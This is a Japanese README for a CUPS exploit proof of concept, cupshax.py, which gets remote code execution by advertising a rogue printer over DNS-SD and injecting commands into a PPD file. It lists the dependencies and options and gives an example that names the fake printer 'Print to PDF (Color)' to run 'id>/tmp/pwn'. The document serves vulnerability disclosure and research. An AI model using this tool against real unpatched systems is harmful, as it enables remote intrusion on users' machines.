
最近のCUPSエクスプロイトのクイック概念実証(PoC)。PPDインジェクションとDNS-SDプリンターディスカバリーによるリモートコード実行を可能にし、脆弱なUnixシステム上で任意のコマンドを実行します。
最近のCUPSエクスプロイトの急ごしらえの概念実証(PoC)です。もっと大幅に整理するつもりでしたが、エンバーゴが予想よりもずっと早く解除されたため、コードは少し急ぎ足になっています。
技術的な詳細は、正直なところEvilsocketの解説記事を読むべきです。
このエクスプロイトは、公開されているOpenPrinting CUPSリポジトリのこのコミットを見つけた後に書かれました。おそらく、もっとクリーンなインジェクションポイントが存在します。
このPoCはdns-sdプリンターディスカバリーを使用するため、ターゲットはブロードキャストメッセージを受信できる必要があります。つまり、同じネットワーク上に存在する必要があります。
このエクスプロイトはzeroconfとippserverを使用します。どちらもpipでインストールできます。
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
例:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3